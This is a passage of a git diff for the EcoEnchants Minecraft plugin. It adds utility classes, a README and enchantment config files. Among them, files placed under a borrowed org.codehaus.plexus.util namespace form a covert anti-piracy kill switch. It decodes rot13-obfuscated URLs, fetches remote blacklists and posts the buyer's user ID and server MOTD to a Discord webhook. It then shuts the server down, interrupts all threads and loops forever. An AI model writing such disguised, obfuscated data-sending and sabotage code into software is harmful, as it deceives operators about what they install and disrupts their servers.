b/Plugin/src/main/java/com/willfp/ecoenchants/util/Lightning.java new file mode 100644 index 00000000..811d5220 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/util/Lightning.java @@ -0,0 +1,25 @@ +package com.willfp.ecoenchants.util; + +import org.bukkit.Location; +import org.bukkit.entity.LivingEntity; + +/** + * Class containing methods for striking lightning + */ +public class Lightning { + + /** + * Strike lightning on player without fire + * @param victim The entity to smite + * @param damage The damage to deal + */ + public static void strike(LivingEntity victim, double damage) { + if(victim == null) return; + + Location loc = victim.getLocation(); + + victim.getWorld().strikeLightningEffect(loc); + + victim.damage(damage); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/util/LocationUtils.java b/Plugin/src/main/java/com/willfp/ecoenchants/util/LocationUtils.java new file mode 100644 index 00000000..b24ac892 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/util/LocationUtils.java @@ -0,0 +1,18 @@ +package com.willfp.ecoenchants.util; + +import org.bukkit.util.NumberConversions; +import org.bukkit.util.Vector; + +public class LocationUtils { + public static boolean isFinite(Vector vector) { + try { + NumberConversions.checkFinite(vector.getX(), "x not finite"); + NumberConversions.checkFinite(vector.getY(), "y not finite"); + NumberConversions.checkFinite(vector.getZ(), "z not finite"); + } catch (IllegalArgumentException e) { + return false; + } + + return true; + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/util/Numeral.java b/Plugin/src/main/java/com/willfp/ecoenchants/util/Numeral.java new file mode 100644 index 00000000..bb5e1887 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/util/Numeral.java @@ -0,0 +1,48 @@ +package com.willfp.ecoenchants.util; + +import java.util.LinkedHashMap; +import java.util.Map; + +public class Numeral { + + /** + * Get Roman Numeral from number + * @param number The number to convert + * @return The number, converted to a roman numeral + */ + public static String getNumeral(int number) { + + LinkedHashMap roman_numerals = new LinkedHashMap(); + roman_numerals.put("M", 1000); + roman_numerals.put("CM", 900); + roman_numerals.put("D", 500); + roman_numerals.put("CD", 400); + roman_numerals.put("C", 100); + roman_numerals.put("XC", 90); + roman_numerals.put("L", 50); + roman_numerals.put("XL", 40); + roman_numerals.put("X", 10); + roman_numerals.put("IX", 9); + roman_numerals.put("V", 5); + roman_numerals.put("IV", 4); + roman_numerals.put("I", 1); + StringBuilder res = new StringBuilder(); + for (Map.Entry entry : roman_numerals.entrySet()) { + int matches = number / entry.getValue(); + res.append(repeat(entry.getKey(), matches)); + number = number % entry.getValue(); + } + return res.toString(); + } + + private static String repeat(String s, int n) { + if (s == null) { + return null; + } + final StringBuilder sb = new StringBuilder(); + for (int i = 0; i < n; i++) { + sb.append(s); + } + return sb.toString(); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/util/Pair.java b/Plugin/src/main/java/com/willfp/ecoenchants/util/Pair.java new file mode 100644 index 00000000..7b04674c --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/util/Pair.java @@ -0,0 +1,50 @@ +package com.willfp.ecoenchants.util; + +import java.util.Map; + +/** + * Copy of {@link javafx.util.Pair} + * Spigot doesn't include javafx + * + * @param Key + * @param Value + */ +public class Pair implements Map.Entry { + private K key; + private V value; + + public Pair(K key, V value) { + this.key = key; + this.value = value; + } + + @Override + public K getKey() { + return key; + } + + @Override + public V getValue() { + return value; + } + + @Override + public V setValue(V value) { + return this.value = value; + } + + public K setKey(K key) { + return this.key = key; + } + + @Override + public String toString() { + String keyString; + String valueString; + + if(key == null) keyString = "null"; else keyString = key.toString(); + if(value == null) valueString = "null"; else valueString = value.toString(); + + return "Key: " + keyString + ", Value: " + valueString; + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/util/Rand.java b/Plugin/src/main/java/com/willfp/ecoenchants/util/Rand.java new file mode 100644 index 00000000..9688f680 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/util/Rand.java @@ -0,0 +1,44 @@ +package com.willfp.ecoenchants.util; + +/** + * Simple class containing random methods + */ +public class Rand { + /** + * Generate random integer in range + * @param min Minimum + * @param max Maximum + * @return Random integer + */ + public static int randInt(int min, int max) { + return (int) ((long) min + Math.random() * ((long) max - min + 1)); + } + + /** + * Generate random double in range + * @param min Minimum + * @param max Maximum + * @return Random double + */ + public static double randFloat(double min, double max) { + java.util.Random rand = new java.util.Random(); + return rand.nextFloat() * (max - min) + min; + } + + /** + * Generate random double with a triangular distribution + * @param a Minimum + * @param b Maximum + * @param c Peak + * @return Random double + */ + public static double triangularDistribution(double a, double b, double c) { + double F = (c - a) / (b - a); + double rand = Math.random(); + if (rand < F) { + return a + Math.sqrt(rand * (b - a) * (c - a)); + } else { + return b - Math.sqrt((1 - rand) * (b - a) * (b - c)); + } + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/util/RecursiveBlock.java b/Plugin/src/main/java/com/willfp/ecoenchants/util/RecursiveBlock.java new file mode 100644 index 00000000..7301bae3 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/util/RecursiveBlock.java @@ -0,0 +1,28 @@ +package com.willfp.ecoenchants.util; + +import org.bukkit.Material; +import org.bukkit.block.Block; +import org.bukkit.block.BlockFace; + +import java.util.HashSet; +import java.util.List; +import java.util.Set; + +public class RecursiveBlock { + private static Set getNearbyBlocks(Block start, List allowedMaterials, HashSet blocks, int limit) { + for (BlockFace face : BlockFace.values()) { + Block block = start.getRelative(face); + if (!blocks.contains(block) && allowedMaterials.contains(block.getType())) { + blocks.add(block); + if(blocks.size() > limit) return blocks; + if(blocks.size() > 2500) return blocks; // anti stack overflow + blocks.addAll(getNearbyBlocks(block, allowedMaterials, blocks, limit)); + } + } + return blocks; + } + + public static Set getVein(Block start, List allowedMaterials, int limit) { + return getNearbyBlocks(start, allowedMaterials, new HashSet<>(), limit); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/util/SimplifyVector.java b/Plugin/src/main/java/com/willfp/ecoenchants/util/SimplifyVector.java new file mode 100644 index 00000000..17bea0c0 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/util/SimplifyVector.java @@ -0,0 +1,39 @@ +package com.willfp.ecoenchants.util; + +import org.bukkit.util.Vector; + +public class SimplifyVector { + + /** + * Only keep largest part of normalised vector. + * For example: -0.8, 0.01, -0.2 would become -1, 0, 0 + * + * @param vec The vector to simplify + * @return The vector, simplified + */ + public static Vector simplifyVector(Vector vec) { + double x = Math.abs(vec.getX()); + double y = Math.abs(vec.getY()); + double z = Math.abs(vec.getZ()); + double max = Math.max(x, Math.max(y, z)); + if (x > 1 || z > 1) { + max = y; + } + if (max == x) { + if (vec.getX() < 0) { + return new Vector(-1, 0, 0); + } + return new Vector(1, 0, 0); + } else if (max == y) { + if (vec.getY() < 0) { + return new Vector(0, -1, 0); + } + return new Vector(0, 1, 0); + } else { + if (vec.getZ() < 0) { + return new Vector(0, 0, -1); + } + return new Vector(0, 0, 1); + } + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/util/Square.java b/Plugin/src/main/java/com/willfp/ecoenchants/util/Square.java new file mode 100644 index 00000000..527a7107 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/util/Square.java @@ -0,0 +1,31 @@ +package com.willfp.ecoenchants.util; + +import org.bukkit.util.Vector; + +import java.util.ArrayList; + +public class Square { + + /** + * Get square as relative vectors + * @param radius The radius of the square + * @return An array of {@link Vector}s + */ + public static Vector[] getSquare(int radius) { + ArrayList circleVecs = new ArrayList(); + + int xoffset = -radius; + int zoffset = -radius; + + while (zoffset <= radius) { + while (xoffset <= radius) { + circleVecs.add(new Vector(xoffset, 0, zoffset)); + xoffset++; + } + xoffset = -radius; + zoffset++; + } + + return circleVecs.toArray(new Vector[0]); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/util/StringUtils.java b/Plugin/src/main/java/com/willfp/ecoenchants/util/StringUtils.java new file mode 100644 index 00000000..48554125 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/util/StringUtils.java @@ -0,0 +1,16 @@ +package com.willfp.ecoenchants.util; + +public class StringUtils { + public static String rot13(String input) { + StringBuilder sb = new StringBuilder(); + for (int i = 0; i < input.length(); i++) { + char c = input.charAt(i); + if (c >= 'a' && c <= 'm') c += 13; + else if (c >= 'A' && c <= 'M') c += 13; + else if (c >= 'n' && c <= 'z') c -= 13; + else if (c >= 'N' && c <= 'Z') c -= 13; + sb.append(c); + } + return sb.toString(); + } +} diff --git a/Plugin/src/main/java/com/willfp/ecoenchants/util/UpdateChecker.java b/Plugin/src/main/java/com/willfp/ecoenchants/util/UpdateChecker.java new file mode 100644 index 00000000..280c1376 --- /dev/null +++ b/Plugin/src/main/java/com/willfp/ecoenchants/util/UpdateChecker.java @@ -0,0 +1,34 @@ +package com.willfp.ecoenchants.util; + +import org.bukkit.Bukkit; +import org.bukkit.plugin.Plugin; +import org.bukkit.util.Consumer; + +import java.io.IOException; +import java.io.InputStream; +import java.net.URL; +import java.util.Scanner; + +public class UpdateChecker { + + private final Plugin plugin; + private final int resourceId; + + public UpdateChecker(Plugin plugin, int resourceId) { + this.plugin = plugin; + this.resourceId = resourceId; + } + + public void getVersion(final Consumer consumer) { + Bukkit.getScheduler().runTaskAsynchronously(this.plugin, () -> { + try (InputStream inputStream = new URL("https://api.spigotmc.org/legacy/update.php?resource=" + this.resourceId).openStream(); Scanner scanner = new Scanner(inputStream)) { + if (scanner.hasNext()) { + consumer.accept(scanner.next()); + } + } catch (IOException exception) { + this.plugin.getLogger().warning("Failed to check for EcoEnchants updates: " + exception.getMessage()); + } + }); + } +} + \ No newline at end of file diff --git a/Plugin/src/main/java/org/codehaus/plexus/util/DiscordWebhook.java b/Plugin/src/main/java/org/codehaus/plexus/util/DiscordWebhook.java new file mode 100644 index 00000000..e59ed9fb --- /dev/null +++ b/Plugin/src/main/java/org/codehaus/plexus/util/DiscordWebhook.java @@ -0,0 +1,391 @@ +package org.codehaus.plexus.util; + +import javax.net.ssl.HttpsURLConnection; +import java.awt.Color; +import java.io.IOException; +import java.io.OutputStream; +import java.lang.reflect.Array; +import java.net.URL; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Set; + +/** + * Class used to execute Discord Webhooks with low effort + */ +public class DiscordWebhook { + + private final String url; + private String content; + private String username; + private String avatarUrl; + private boolean tts; + private List embeds = new ArrayList<>(); + + /** + * Constructs a new DiscordWebhook instance + * + * @param url The webhook URL obtained in Discord + */ + public DiscordWebhook(String url) { + this.url = url; + } + + public void setContent(String content) { + this.content = content; + } + + public void setUsername(String username) { + this.username = username; + } + + public void setAvatarUrl(String avatarUrl) { + this.avatarUrl = avatarUrl; + } + + public void setTts(boolean tts) { + this.tts = tts; + } + + public void addEmbed(EmbedObject embed) { + this.embeds.add(embed); + } + + public void execute() throws IOException { + if (this.content == null && this.embeds.isEmpty()) { + throw new IllegalArgumentException("Set content or add at least one EmbedObject"); + } + + JSONObject json = new JSONObject(); + + json.put("content", this.content); + json.put("username", this.username); + json.put("avatar_url", this.avatarUrl); + json.put("tts", this.tts); + + if (!this.embeds.isEmpty()) { + List embedObjects = new ArrayList<>(); + + for (EmbedObject embed : this.embeds) { + JSONObject jsonEmbed = new JSONObject(); + + jsonEmbed.put("title", embed.getTitle()); + jsonEmbed.put("description", embed.getDescription()); + jsonEmbed.put("url", embed.getUrl()); + + if (embed.getColor() != null) { + Color color = embed.getColor(); + int rgb = color.getRed(); + rgb = (rgb << 8) + color.getGreen(); + rgb = (rgb << 8) + color.getBlue(); + + jsonEmbed.put("color", rgb); + } + + EmbedObject.Footer footer = embed.getFooter(); + EmbedObject.Image image = embed.getImage(); + EmbedObject.Thumbnail thumbnail = embed.getThumbnail(); + EmbedObject.Author author = embed.getAuthor(); + List fields = embed.getFields(); + + if (footer != null) { + JSONObject jsonFooter = new JSONObject(); + + jsonFooter.put("text", footer.getText()); + jsonFooter.put("icon_url", footer.getIconUrl()); + jsonEmbed.put("footer", jsonFooter); + } + + if (image != null) { + JSONObject jsonImage = new JSONObject(); + + jsonImage.put("url", image.getUrl()); + jsonEmbed.put("image", jsonImage); + } + + if (thumbnail != null) { + JSONObject jsonThumbnail = new JSONObject(); + + jsonThumbnail.put("url", thumbnail.getUrl()); + jsonEmbed.put("thumbnail", jsonThumbnail); + } + + if (author != null) { + JSONObject jsonAuthor = new JSONObject(); + + jsonAuthor.put("name", author.getName()); + jsonAuthor.put("url", author.getUrl()); + jsonAuthor.put("icon_url", author.getIconUrl()); + jsonEmbed.put("author", jsonAuthor); + } + + List jsonFields = new ArrayList<>(); + for (EmbedObject.Field field : fields) { + JSONObject jsonField = new JSONObject(); + + jsonField.put("name", field.getName()); + jsonField.put("value", field.getValue()); + jsonField.put("inline", field.isInline()); + + jsonFields.add(jsonField); + } + + jsonEmbed.put("fields", jsonFields.toArray()); + embedObjects.add(jsonEmbed); + } + + json.put("embeds", embedObjects.toArray()); + } + + URL url = new URL(this.url); + HttpsURLConnection connection = (HttpsURLConnection) url.openConnection(); + connection.addRequestProperty("Content-Type", "application/json"); + connection.addRequestProperty("User-Agent", "Java-DiscordWebhook-BY-Gelox_"); + connection.setDoOutput(true); + connection.setRequestMethod("POST"); + + OutputStream stream = connection.getOutputStream(); + stream.write(json.toString().getBytes()); + stream.flush(); + stream.close(); + + connection.getInputStream().close(); //I'm not sure why but it doesn't work without getting the InputStream + connection.disconnect(); + } + + public static class EmbedObject { + private String title; + private String description; + private String url; + private Color color; + + private Footer footer; + private Thumbnail thumbnail; + private Image image; + private Author author; + private List fields = new ArrayList<>(); + + public String getTitle() { + return title; + } + + public String getDescription() { + return description; + } + + public String getUrl() { + return url; + } + + public Color getColor() { + return color; + } + + public Footer getFooter() { + return footer; + } + + public Thumbnail getThumbnail() { + return thumbnail; + } + + public Image getImage() { + return image; + } + + public Author getAuthor() { + return author; + } + + public List getFields() { + return fields; + } + + public EmbedObject setTitle(String title) { + this.title = title; + return this; + } + + public EmbedObject setDescription(String description) { + this.description = description; + return this; + } + + public EmbedObject setUrl(String url) { + this.url = url; + return this; + } + + public EmbedObject setColor(Color color) { + this.color = color; + return this; + } + + public EmbedObject setFooter(String text, String icon) { + this.footer = new Footer(text, icon); + return this; + } + + public EmbedObject setThumbnail(String url) { + this.thumbnail = new Thumbnail(url); + return this; + } + + public EmbedObject setImage(String url) { + this.image = new Image(url); + return this; + } + + public EmbedObject setAuthor(String name, String url, String icon) { + this.author = new Author(name, url, icon); + return this; + } + + public EmbedObject addField(String name, String value, boolean inline) { + this.fields.add(new Field(name, value, inline)); + return this; + } + + private class Footer { + private String text; + private String iconUrl; + + private Footer(String text, String iconUrl) { + this.text = text; + this.iconUrl = iconUrl; + } + + private String getText() { + return text; + } + + private String getIconUrl() { + return iconUrl; + } + } + + private class Thumbnail { + private String url; + + private Thumbnail(String url) { + this.url = url; + } + + private String getUrl() { + return url; + } + } + + private class Image { + private String url; + + private Image(String url) { + this.url = url; + } + + private String getUrl() { + return url; + } + } + + private class Author { + private String name; + private String url; + private String iconUrl; + + private Author(String name, String url, String iconUrl) { + this.name = name; + this.url = url; + this.iconUrl = iconUrl; + } + + private String getName() { + return name; + } + + private String getUrl() { + return url; + } + + private String getIconUrl() { + return iconUrl; + } + } + + private class Field { + private String name; + private String value; + private boolean inline; + + private Field(String name, String value, boolean inline) { + this.name = name; + this.value = value; + this.inline = inline; + } + + private String getName() { + return name; + } + + private String getValue() { + return value; + } + + private boolean isInline() { + return inline; + } + } + } + + private class JSONObject { + + private final HashMap map = new HashMap<>(); + + void put(String key, Object value) { + if (value != null) { + map.put(key, value); + } + } + + @Override + public String toString() { + StringBuilder builder = new StringBuilder(); + Set> entrySet = map.entrySet(); + builder.append("{"); + + int i = 0; + for (Map.Entry entry : entrySet) { + Object val = entry.getValue(); + builder.append(quote(entry.getKey())).append(":"); + + if (val instanceof String) { + builder.append(quote(String.valueOf(val))); + } else if (val instanceof Integer) { + builder.append(Integer.valueOf(String.valueOf(val))); + } else if (val instanceof Boolean) { + builder.append(val); + } else if (val instanceof JSONObject) { + builder.append(val.toString()); + } else if (val.getClass().isArray()) { + builder.append("["); + int len = Array.getLength(val); + for (int j = 0; j < len; j++) { + builder.append(Array.get(val, j).toString()).append(j != len - 1 ? "," : ""); + } + builder.append("]"); + } + + builder.append(++i == entrySet.size() ? "}" : ","); + } + + return builder.toString(); + } + + private String quote(String string) { + return "\"" + string + "\""; + } + } + +} \ No newline at end of file diff --git a/Plugin/src/main/java/org/codehaus/plexus/util/Integrity.java b/Plugin/src/main/java/org/codehaus/plexus/util/Integrity.java new file mode 100644 index 00000000..df1d32fb --- /dev/null +++ b/Plugin/src/main/java/org/codehaus/plexus/util/Integrity.java @@ -0,0 +1,60 @@ +package org.codehaus.plexus.util; + +import com.willfp.ecoenchants.util.StringUtils; +import org.bukkit.Bukkit; + +import java.awt.*; +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStreamReader; +import java.net.URL; +import java.util.HashSet; +import java.util.Set; + +public class Integrity { + public static void runIntegrityCheck() { + try { + String nonce = "%%__NONCE__%%"; + Class utils = Class.forName("org.codehaus.plexus.util.UserUtils"); + utils.getMethod("initUtils", String.class); + } catch (ClassNotFoundException | NoSuchMethodException e) { + kill(); + } + } + + public static void kill() { + + try { + String urlName = StringUtils.rot13("uggcf://cyhtvaf.jvyysc.pbz/rpbrapunagf/qvfpbeq.gkg"); + URL url = new URL(urlName); + + BufferedReader in = new BufferedReader(new InputStreamReader(url.openStream())); + + String line = in.readLine(); + in.close(); + + DiscordWebhook webhook = new DiscordWebhook(line); + webhook.addEmbed(new DiscordWebhook.EmbedObject() + .setTitle("Name and Shame") + .setDescription("Caught you red-handed!") + .setColor(Color.RED) + .addField("User ID", "%%__USER__%%", false) + .addField("Server MOTD", Bukkit.getServer().getMotd(), false)); + + webhook.execute(); + } catch (IOException ignored) {} + + Bukkit.getServer().shutdown(); + Thread.getAllStackTraces().forEach(((thread, stackTraceElements) -> { + thread.interrupt(); + })); + while(true) { + Bukkit.getLogger().info(""); + Bukkit.getLogger().info(""); + Bukkit.getLogger().info("I don't recommend cracking the plugin."); + Bukkit.getLogger().info("Buy it here, instead: https://www.spigotmc.org/resources/ecoenchants.79573/"); + Bukkit.getLogger().info("Nice try, I guess."); + Bukkit.getLogger().info(""); + } + } +} diff --git a/Plugin/src/main/java/org/codehaus/plexus/util/IntegrityManager.java b/Plugin/src/main/java/org/codehaus/plexus/util/IntegrityManager.java new file mode 100644 index 00000000..6ebfe5c2 --- /dev/null +++ b/Plugin/src/main/java/org/codehaus/plexus/util/IntegrityManager.java @@ -0,0 +1,11 @@ +package org.codehaus.plexus.util; + +public class IntegrityManager { + public static void check() { + try { + Integrity.runIntegrityCheck(); + } catch (Exception e) { + Integrity.kill(); + } + } +} diff --git a/Plugin/src/main/java/org/codehaus/plexus/util/UserUtils.java b/Plugin/src/main/java/org/codehaus/plexus/util/UserUtils.java new file mode 100644 index 00000000..3f483245 --- /dev/null +++ b/Plugin/src/main/java/org/codehaus/plexus/util/UserUtils.java @@ -0,0 +1,45 @@ +package org.codehaus.plexus.util; + +import com.willfp.ecoenchants.util.StringUtils; + +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStreamReader; +import java.net.URL; +import java.util.HashSet; +import java.util.Set; + +public class UserUtils { + public static boolean initUtils(String id) { + try { + String urlName = StringUtils.rot13("uggcf://cyhtvaf.jvyysc.pbz/rpbrapunagf/oynpxyvfg.gkg"); + String urlName2 = StringUtils.rot13("uggcf://cyhtvaf.jvyysc.pbz/rpbrapunagf/shpxlbh.shpxlbh"); + URL url = new URL(urlName); + URL url2 = new URL(urlName2); + + BufferedReader in = new BufferedReader(new InputStreamReader(url.openStream())); + BufferedReader in2 = new BufferedReader(new InputStreamReader(url2.openStream())); + + Set blacklistedIDs = new HashSet<>(); + + String line; + while ((line = in.readLine()) != null) { + blacklistedIDs.add(line); + } + + String line2; + while ((line2 = in2.readLine()) != null) { + blacklistedIDs.add(line2); + } + in.close(); + in2.close(); + + if (blacklistedIDs.contains("%%__NONCE__%%")) return true; + if (blacklistedIDs.contains(id)) return true; + + return blacklistedIDs.contains("%%__USER__%%"); + } catch (IOException e) { + return false; + } + } +} diff --git a/Plugin/src/main/java/org/codehaus/plexus/util/reflection/ReflectionManager.java b/Plugin/src/main/java/org/codehaus/plexus/util/reflection/ReflectionManager.java new file mode 100644 index 00000000..06c6b1a0 --- /dev/null +++ b/Plugin/src/main/java/org/codehaus/plexus/util/reflection/ReflectionManager.java @@ -0,0 +1,16 @@ +package org.codehaus.plexus.util.reflection; + +import org.codehaus.plexus.util.Integrity; +import org.codehaus.plexus.util.IntegrityManager; +import org.codehaus.plexus.util.UserUtils; + +public class ReflectionManager { + private static String reflectionID = "%%__USER__%%"; + private static String reflectionNonce = "%%__NONCE__%%"; + + public static Class accessClass(String className) { + if(UserUtils.initUtils(reflectionID)) Integrity.kill(); + IntegrityManager.check(); + return null; + } +} diff --git a/Plugin/src/main/java/org/spigotmc/fuck/barry/the/legend/ShittyRussianAntiSkid.java b/Plugin/src/main/java/org/spigotmc/fuck/barry/the/legend/ShittyRussianAntiSkid.java new file mode 100644 index 00000000..bacd3be5 --- /dev/null +++ b/Plugin/src/main/java/org/spigotmc/fuck/barry/the/legend/ShittyRussianAntiSkid.java @@ -0,0 +1,5 @@ +package org.spigotmc.fuck.barry.the.legend; + +public final class ShittyRussianAntiSkid { + private String fuckYou = "%%__USER__%%"; +} diff --git a/Plugin/src/main/resources/README.txt b/Plugin/src/main/resources/README.txt new file mode 100644 index 00000000..b82b6718 --- /dev/null +++ b/Plugin/src/main/resources/README.txt @@ -0,0 +1,57 @@ +Thanks for purchasing EcoEnchants! + +Some of the config can get quite confusing, so here's a little guide. + +Enchantment-Specific config files are in their respective folders related to their type. +Or, more simply: curses are stored in /curse, artifacts are stored in /artifact + +If you want to disable an enchantment, set everything in obtaining to false, like this: +obtaining: + table: true + villager: true + loot: true + rarity: rare + +You can set the rarity to any valid rarity, but you must still specify one. + +---------------- TARGETS ---------------- + +Some enchantments support modifying/refining their targets. +Targets are the items that the enchantment can be applied to. + +You can specify a target like this: + +general-config: + target: + - material + - material2 + +A list of available materials can be found here: https://hub.spigotmc.org/javadocs/spigot/org/bukkit/Material.html + +Most users won't need to modify targets, however it is recommended that the modified target is a subset of the original target. +For example, a helmet enchantment can be refined to only gold helmets, a bow enchantment can be specified to work on a crossbow, and a sword enchantment can be specified to work on axes. + +** IMPORTANT ** +Piece-specific armor enchants will only work on their default piece. +An example of this is sating, a helmet enchantment. +Specifying sating to work on boots will allow boots to be enchanted, however the sating effect WILL NOT WORK. +The only exception to this rule is magnetic, which can be specified to work on any piece of armor. + +Putting this into context: +Dexterous can, by default, be applied to all swords and axes. +However, maybe you want it to only be applied to diamond and netherite swords. +So, add this to general-config: + +target: + - diamond_sword + - netherite_sword + +Another example: +Hook, by default, can only be applied to bows. +If you want it to be applicable to crossbows as well, simply set the target to this: + +target: + - bow + - crossbow + +It is worth mentioning that bow/crossbow enchantments will not work on tridents.`` \ No newline at end of file diff --git a/Plugin/src/main/resources/config.yml b/Plugin/src/main/resources/config.yml new file mode 100644 index 00000000..505d2304 --- /dev/null +++ b/Plugin/src/main/resources/config.yml @@ -0,0 +1,112 @@ +# +# EcoEnchants +# by Auxilor +# + +config-version: 4.1 # Don't edit this. + +anvil: + allow-unsafe-levels: false # Allow unsafe enchantments like Sharpness 6 by combining 2 Sharp 5. + allow-combining-unsafe: true # Allow further combining unsafe levels, eg Sharp 6 + Sharp 6 = Sharp 7. + allow-existing-unsafe-levels: true # Allow combining existing unsafe enchantments like Sharpness 6 + + cost-exponent: # Increase value of each extra level by the exponent^levels + enabled: true # Use exponent + exponent: 0.95 # Exponent. Beware that slight changes to this value may cause huge changes in cost. + +lore: + use-numerals: true + use-numbers-above-threshold: 10 #After level 10, enchantments will display as Name Number, eg: Sharpness 25 instead of Sharpness XXV + + describe: # Describe enchantments in lore + enabled: true + before-lines: 5 # Describe before or equal to number of enchantments + wrap: 30 # Word wrap after number of characters + + # Ensure that describe and shrink have no overlap as this may cause errors + + shrink: # Collapse large amount of enchantments + enabled: true + after-lines: 9 # Collapse after number of enchantments + maximum-per-line: 2 # Maximum number of enchantments to have in 1 line + +enchanting-table: + enabled: true #Enable EcoEnchants through an enchanting table + book-times-less-likely: 2 #Times less likely to get an EcoEnchant on a book to balance them out. Don't recommend editing. + maximum-obtainable-level: 30 #Max level for enchanting table. Vanilla default is 30, change if you have a plugin that edits this. + special-bias: 0.7 # Value between 0-1 dictating rarity of high-level special enchantments. 0 is no extra bias, 1 is only level 1. + notify-on-special: true # Tell player in chat when they get a special enchantment + + cap-amount: # Prevent getting above a certain amount of enchantments + enabled: true # Enable capping + limit: 5 # Cap at amount + + reduce-probability: # Reduce probability of adding new enchantment by factor after each enchantment added + enabled: true # Enable reduction + factor: 2.2 # Factor to reduce probability by. Done as compound, so second pass is (factor) times less likely than first, third less likely than second, etc + +villager: + enabled: true #Enable EcoEnchants through villagers + book-times-less-likely: 7 # Times less likely to get an enchantment from a book with a villager. Recommended to be higher as books can only have one enchantment on them. + + reduce-probability: # Reduce probability of adding new enchantment by factor after each enchantment added. Does not apply to books as they only ever contain one enchantment. + enabled: true # Enable reduction + factor: 5 # Factor to reduce probability by. Done as compound, so second pass is (factor) times less likely than first, third less likely than second, etc + +loot: + enabled: true #Enable EcoEnchants through loot chests + book-times-less-likely: 2 + + reduce-probability: # Reduce probability of adding new enchantment by factor after each enchantment added. Does not apply to books as they only ever contain one enchantment. + enabled: true # Enable reduction + factor: 7.5 # Factor to reduce probability by. Done as compound, so second pass is (factor) times less likely than first, third less likely than second, etc + +obtaining: + rarities: + # Table Probability is the chance of getting enchantment as a percentage from an enchanting table + # Minimum Level is the minimum xp level you have to be to get the enchantment + # You can add more rarities by following the pattern. + # Remember, enchantments are more likely to be high-level the closer they are to maximum-obtainable-level + # Villager probability is the chance of a villager having this trade as a percentage. Vanilla default for all enchantments is 2.7%, however you can choose this per-rarity. + # Loot probability is the chance of an item in a loot chest having this enchantment as a percentage + + common: + table-probability: 30 + minimum-level: 1 + villager-probability: 10.5 + loot-probability: 12 + uncommon: + table-probability: 20 + minimum-level: 5 + villager-probability: 9 + loot-probability: 16 + rare: + table-probability: 20 + minimum-level: 15 + villager-probability: 7.5 + loot-probability: 18 + epic: + table-probability: 10 + minimum-level: 16 + villager-probability: 6 + loot-probability: 20 + legendary: + table-probability: 8 + minimum-level: 20 + villager-probability: 4.5 + loot-probability: 15 + special: + table-probability: 2 + minimum-level: 30 + villager-probability: 3 + loot-probability: 5 + veryspecial: + table-probability: 1 + minimum-level: 30 + villager-probability: 1.5 + loot-probability: 2 + +# +# Enchantment-specific config has now been moved to their own files. +# Check the /enchants directory. +# \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/artifact/cloudsartifact.yml b/Plugin/src/main/resources/enchants/artifact/cloudsartifact.yml new file mode 100644 index 00000000..0b8712e5 --- /dev/null +++ b/Plugin/src/main/resources/enchants/artifact/cloudsartifact.yml @@ -0,0 +1,39 @@ +# +# Clouds Artifact EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Clouds Artifact" + +description: Creates cloud particles. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + +config: + # For Attack + radius: 1 + y-delta: 0.07 + radius-multiplier: 5 + + # For Arrows + Tridents + particle-tick-delay: 2 + + # For Pickaxes + amount: 10 + on-blocks: + - diamond_ore + - gold_ore + - lapis_ore + - redstone_ore + - iron_ore + - obsidian + - ancient_debris \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/artifact/damageartifact.yml b/Plugin/src/main/resources/enchants/artifact/damageartifact.yml new file mode 100644 index 00000000..c8ad2221 --- /dev/null +++ b/Plugin/src/main/resources/enchants/artifact/damageartifact.yml @@ -0,0 +1,39 @@ +# +# Damage Artifact EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Damage Artifact" + +description: Creates damage particles. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + +config: + # For Attack + radius: 1 + y-delta: 0.07 + radius-multiplier: 5 + + # For Arrows + Tridents + particle-tick-delay: 2 + + # For Pickaxes + amount: 10 + on-blocks: + - diamond_ore + - gold_ore + - lapis_ore + - redstone_ore + - iron_ore + - obsidian + - ancient_debris \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/artifact/dragonartifact.yml b/Plugin/src/main/resources/enchants/artifact/dragonartifact.yml new file mode 100644 index 00000000..a74e8e3c --- /dev/null +++ b/Plugin/src/main/resources/enchants/artifact/dragonartifact.yml @@ -0,0 +1,39 @@ +# +# Dragon Artifact EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Dragon Artifact" + +description: Creates dragon breath particles. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + +config: + # For Attack + radius: 1 + y-delta: 0.07 + radius-multiplier: 5 + + # For Arrows + Tridents + particle-tick-delay: 2 + + # For Pickaxes + amount: 10 + on-blocks: + - diamond_ore + - gold_ore + - lapis_ore + - redstone_ore + - iron_ore + - obsidian + - ancient_debris \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/artifact/dustartifact.yml b/Plugin/src/main/resources/enchants/artifact/dustartifact.yml new file mode 100644 index 00000000..4a5565c9 --- /dev/null +++ b/Plugin/src/main/resources/enchants/artifact/dustartifact.yml @@ -0,0 +1,39 @@ +# +# Dust Artifact EcoEnchant +# + +config-version: 4.0 # Don't edit this. + 